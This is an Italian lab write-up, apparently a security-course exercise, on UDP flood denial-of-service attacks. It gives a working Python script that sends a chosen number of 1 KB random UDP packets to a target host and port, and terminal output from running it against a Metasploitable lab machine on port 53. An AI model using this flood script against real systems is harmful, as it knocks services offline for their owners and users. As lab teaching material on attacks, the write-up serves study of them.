S6L3

Attacchi DOS (Denial Of Service)

L'obiettivo del programma è quello di inviare una serie di pacchetti utilizzando il protocollo UDP con l'intento di sovraccaricare una macchina di destinazione, in questo caso una macchina vulnerabile come Metasploitable, per farla andare in crash o compromettere le sue performance al punto da causarne un arresto o una condizione di malfunzionamento.

In particolare, l'invio massivo di pacchetti UDP mira a saturare le risorse di rete e di elaborazione della macchina di destinazione, generando una condizione di "Denial of Service" (DoS). In un attacco di tipo DoS, il sistema di destinazione non è più in grado di gestire correttamente le richieste, portando a un degrado delle prestazioni o a un arresto completo del servizio.

Nel contesto di un attacco UDP, la macchina destinataria riceve pacchetti da una sorgente esterna senza avere una connessione stabile (essendo UDP un protocollo senza connessione). Questo genera un carico elevato sulla rete e sulle risorse di sistema, che possono includere la CPU, la memoria e le capacità di gestione delle connessioni. Se il flusso di pacchetti è abbastanza intenso, può esaurire le risorse di sistema della macchina bersaglio, inducendo il crash o il blocco del sistema.

Il programma che si intende sviluppare avrà la responsabilità di inviare questi pacchetti in modo controllato ma intenso, sfruttando la natura del protocollo UDP per bypassare i meccanismi di gestione della connessione, come quelli tipici di TCP. L'attenzione è rivolta a generare un traffico sufficiente a saturare la capacità di elaborazione e di gestione della macchina target, riducendo le sue performance e potenzialmente causando il suo malfunzionamento.

Esercizio pratico

Per prima cosa scriverò il codice:

```python
import socket
import random

# input per l'IP e la porta della macchina target
ip_target = input("inserisci l'IP target della macchina target: ")
porta_target = int(input("inserisci la porta UDP della macchina target: "))
numero_pacchetti = int(input("Quanti pacchetti da 1 KB vuoi inviare? "))

# Creazione del socket UDP
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Pacchetto da 1 KB
pacchetto = bytes([random.randint(0, 255) for _ in range(1024)])

# Invio dei pacchetti
print("Inizio invio pacchetti... ")
for i in range(numero_pacchetti):
        sock.sendto(pacchetto, (ip_target, porta_target))
        print(f"Pacchetto {i + 1} inviato a {ip_target}:{porta_target}")

print("Attacco Dos completato.")
sock.close()

```

Dopo di che lo farò eseguire verso la macchina metasploitable

```
File  Actions  Edit  View  Help

┌──(mattia㉿192)-[~/Desktop]
└─$ python3 dos.py
inserisci l'IP target della macchina target: 192.168.0.235
inserisci la porta UDP della macchina target: 53
Quanti pacchetti da 1 KB vuoi inviare? 800
Inizio invio pacchetti...
Pacchetto 1 inviato a 192.168.0.235:53
Pacchetto 2 inviato a 192.168.0.235:53
Pacchetto 3 inviato a 192.168.0.235:53
Pacchetto 4 inviato a 192.168.0.235:53
Pacchetto 5 inviato a 192.168.0.235:53
Pacchetto 6 inviato a 192.168.0.235:53
Pacchetto 7 inviato a 192.168.0.235:53
Pacchetto 8 inviato a 192.168.0.235:53
Pacchetto 9 inviato a 192.168.0.235:53
Pacchetto 10 inviato a 192.168.0.235:53
Pacchetto 11 inviato a 192.168.0.235:53
Pacchetto 12 inviato a 192.168.0.235:53
Pacchetto 13 inviato a 192.168.0.235:53
Pacchetto 14 inviato a 192.168.0.235:53
Pacchetto 15 inviato a 192.168.0.235:53
Pacchetto 16 inviato a 192.168.0.235:53
Pacchetto 17 inviato a 192.168.0.235:53
Pacchetto 18 inviato a 192.168.0.235:53
Pacchetto 19 inviato a 192.168.0.235:53
Pacchetto 20 inviato a 192.168.0.235:53
```

Dopo aver eseguito l’attacco proverò a contattare la macchina metasploitable con un ping e noterò che la macchina è andata in down.